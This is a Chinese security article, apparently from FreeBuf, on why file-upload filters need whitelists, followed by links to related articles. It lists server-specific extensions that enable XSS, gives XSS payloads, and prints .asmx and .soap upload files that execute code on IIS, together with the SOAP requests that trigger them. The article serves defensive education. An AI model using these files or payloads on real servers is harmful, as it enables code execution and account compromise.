血淋林的例子告诉你,为什么防“上传漏洞”要用白名单

标签: WEB安全 系统安全 上传漏洞 白名单 | 发表时间:2017-12-01 07:00 | 作者:Alpha_h4ck
出处:http://www.freebuf.com

1.png

一般来说,当你在写文件上传功能的代码时,你都需要使用”白名单”或“黑名单”来检查并限制用户上传文件的扩展名。

当我阅读了 @Idionmarcil的【 这篇文章】之后,我决定要深入了解一下当前热门的Web服务器是如何处理各种类型的扩展名的。

首先,我需要知道Web服务器在处理不同文件类型时所返回的content-type内容。一般来说,开发者只会在黑名单中添加某些“臭名昭著”的扩展名。但是在这篇文章中,我要分析的对象将是一些使用没那么广泛的文件类型。

在本文中,用于演示的PoC Payload如下:

1.      基础XSS Payload:

  <script>alert(1337)</script>

2.      基于XML的XSS Payload:

  <a:scriptxmlns:a="http://www.w3.org/1999/xhtml">alert(1337)</a:script>

下面,我将给大家介绍我的研究成果。

ISS Web服务器

默认配置下,ISS针对文件类型所返回的content-type为text/html,具体请看下面的列表:

扩展名的基本向量:

  .cer
.hxt
.htm

2.png

因此,我们就可以将基础XSS向量复制到上传文件中,当我们打开文档之后,浏览器中便会弹出一个对话框。对于下面的列表中所包含的扩展名,IIS服务器所响应的content-type将允许我们通过基于XML的攻击向量来执行XSS攻击:

  .dtd
.mno
.vml
.xsl
.xht
.svg
.xml
.xsd
.xsf
.svgz
.xslt
.wsdl
.xhtml   

3.png

默认配置下,IIS还会支持SSI,但是处于安全方面的考虑,Payload的执行可能会被禁止。

针对SSI的扩展:

  .stm
.shtm
.shtml

   

4.png

如果你想了解更多关于SSI的详细信息,请参考 @ldionmarcil的【 这篇文章】。

除此之外,这里还有另外两个有趣的扩展名(.asmx和 .soap)同样能够允许我们实现任意代码执行,而这两个扩展名是Yury Aleinov发现的,感兴趣的同学可以访问 @YuryAleinov的Twitter以获取更多信息。

asmx后缀

1.      如果你可以上传后缀名为.asmx的文件,那你也许就可以通过它来实现任意代码执行。比如说,我们来看看下面这个文件的内容:

  <%@ WebService Language="C#"Class="MyClass" %>
using System.Web.Services;
using System;
using System.Diagnostics;
 
 
 [WebService(Namespace="")]
 public class MyClass : WebService 
 {
    [WebMethod]
    public string Pwn_Function()
    {
        Process.Start("calc.exe");
        return "PWNED";
    }
 }

5.png

2.      接下来,我们向上传的文档发送POST请求:

  POST /1.asmx HTTP/1.1
Host: localhost
Content-Type: application/soap+xml;charset=utf-8
Content-Length: 287
   
<?xml version="1.0"encoding="utf-8"?>
<soap12:Envelopexmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:xsd="http://www.w3.org/2001/XMLSchema"xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
 <soap12:Body>
   <Pwn_Function/>
 </soap12:Body>
</soap12:Envelope>

6.png

3.      大家可以看到,结果就是我们成功让IIS运行了“calc.exe”。

soap后缀

使用后缀.soap上传的文件内容如下:

  <%@ WebService Language="C#"Class="MyClass" %>
using System.Web.Services;
using System;
 
public class MyClass : MarshalByRefObject
{
   public MyClass() { 
            System.Diagnostics.Process.Start("calc.exe");
         }                      
}

SOAP请求:

  POST /1.soap HTTP/1.1
Host: localhost
Content-Length: 283
Content-Type: text/xml; charset=utf-8
SOAPAction: "/"
 
<?xml version="1.0"encoding="utf-8"?>
<soap:Envelopexmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:xsd="http://www.w3.org/2001/XMLSchema"xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
 <soap:Body>
   <MyFunction />
 </soap:Body>
</soap:Envelope>

7.png

Apache(httpd或Tomcat)

基础向量后缀:

  .shtml

.html.de或.html.xxx (xxx 为任意字符)*

基于XML向量的后缀:

  .rdf
.xht
.xml
.xsl
.svg
.xhtml
.svgz

如果“.html.”后面跟有任意字符的话,Apache的响应信息中content-type为text/html。

8.png

需要注意的是,在处理很多不同类型的文件后缀时,Apache所返回的响应信息中可能会不包含Content-type头,而这将有可能导致XSS攻击的发生。因为浏览器在处理这种页面时,不同浏览器的处理方法是不同的。比如说,Firefox对后缀为.xbl和.xml的文件所采用的处理方法非常类似,而这类响应中是不包含Content-type头的,所以我们就可以利用基于XML的攻击向量来对目标浏览器发动XSS攻击了。

Nginx

基础向量后缀:

  .htm

基于XML的向量后缀:

  .svg
.xml
.svgz

总结

本文对当前热门Web服务器处理各种文件后缀的方法进行了简单分析,如果你还想了解更多关于“利用文件后缀和Content-Type来发动XSS攻击”的详细内容,请参考这篇文章【 传送门】。

* 参考来源: mike-n1,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

相关 [告诉 上传 漏洞] 推荐:

血淋林的例子告诉你,为什么防“上传漏洞”要用白名单

- - FreeBuf.COM | 关注黑客与极客
一般来说,当你在写文件上传功能的代码时,你都需要使用”白名单”或“黑名单”来检查并限制用户上传文件的扩展名. 当我阅读了 @Idionmarcil的【 这篇文章】之后,我决定要深入了解一下当前热门的Web服务器是如何处理各种类型的扩展名的. 首先,我需要知道Web服务器在处理不同文件类型时所返回的content-type内容.

WebLogic之Java反序列化漏洞利用实现二进制文件上传和命令执行

- - WooYun知识库
Java反序列化漏洞由来已久,在WebLogic和JBoss等著名服务器上都曝出存在此漏洞. FoxGlove Security安全团队的breenmachine给出了详细的分析,但没有给出更近一步的利用方式. 前段时间rebeyond在不需要连接公网的情况下使用RMI的方式在WebLogic上实现了文本文件上传和命令执行,但没有实现二进制文件上传.

Gmail发现安全漏洞

- Royce - Solidot
6月1日,Google官方博客宣布数百Gmail用户遭到黑客攻击,搜索巨人称帐户劫持不是Gmail本身的安全漏洞所致. 攻击者使用的钓鱼攻击,他们向特定帐户发送一封邮件,内有钓鱼网址链接,欺骗用户输入密码. 然而今天Gmail用户温云超发现Google的邮件服务确实存在安全问题,他演示了被钓鱼的过程(YouTube),他收到一封“李承鹏参选人大,邀请你参加”的邮件,文章呼吁支持者前往一个链接支持李承鹏.

Linux 再爆提权漏洞

- dayu - Wow! Ubuntu
原文来自于 Vpsee: 利用 Linux 内核的多个安全漏洞获得 root 权限. 系统安全高手 Dan Rosenberg 发布了一段 C 程序,这段200多行的程序利用了 Linux Econet 协议的3个安全漏洞,可以导致本地帐号对系统进行拒绝服务或特权提升,也就是说一个普通用户可以通过运行这段程序后轻松获得 root shell,以下在 update 过的 Ubuntu 10.04 Server LTS 上测试通过:.

百度知道XSS漏洞

- - 博客园_首页
事情的起因是我一同学在百度知道上看到一个很奇怪的,正文带有连接的提问( 这里),正常来说,这种情况是不可能出现的. 我条件反射的想到了:XSS漏洞. 通过查看源代码,我马上发现了问题的根源:未结束的标签.
帮我写一个能提取

pentesterlab xss漏洞分析

- - JavaScript - Web前端 - ITeye博客
pentesterlab简介. pentesterlab官方定义自己是一个简单又十分有效学习渗透测试的演练平台. pentesterlab环境搭建. 官方提供了一个基于debian6的镜像,官网下载镜像,使用vmware建立一个虚拟机,启动即可. ps:官方文档建议做一个host绑定,方便后面使用.

[译]jboss漏洞利用

- - 互联网 - ITeye博客
原文地址:http://resources.infosecinstitute.com/jboss-exploitation/. JBoss Application Server是一个基于Jave EE的web应用服务器. 如果Jboss没有正确配置,它会允许攻击者进行各种恶意攻击. 由于JMX console可以通过端口8080远程访问,攻击者和恶意用户可以通过使用Jboss console中的DeploymentScanner功能部署他们自己的WAR(web archive)文件或shell脚本.

Adobe再次修正Flash 0day漏洞

- sayhelen - Solidot
Adobe在九天内修复了第二个Flash 0day漏洞,上一个0day漏洞被疑似中国黑客窃取特定Gmail用户的帐号. Adobe的安全警告称,Flash 10.3.181.23及早期版本发现存在一个高危内存泄漏漏洞,能导致崩溃,潜在允许攻击者控制受影响的系统. Adobe建议用户立即升级到10.3.181.26/10.3.185.24(Android).

FPGA位元流加密漏洞

- pansin - Solidot
Shawn the R0ck 写道 "德国的研究者发布了一对(K,V)关于多款Xilinx的FPGA 位元流加密的高危漏洞的论文,这个漏洞可被利用到克隆FPGA,硬件木马注入和逆向工程中. 不幸的是,这个漏洞不能通过简单的下载补丁来解决. 这些论文也同时提醒differential power analysis(差分功耗分析)造成了一个针对未受保护硬件设备的威胁.

WebGL存在严重的安全漏洞

- CandyFrankie - Solidot
Panggit 写道 "HTML5中的WebGL技术已在Firefox和Chrome等浏览器中实现,并被默认开启,但这实际上给浏览器带来了极大的安全隐患. 问题根源在于,大多显卡以及显卡驱动在设计时并不考虑安全问题,而将相关安全问题交由操作系统完成. 但浏览器沙盒跳过了这一环节默认WebGL可以被安全执行,这会使脚本取得跨域名的执行权限,甚至取得访问本地文件的权限.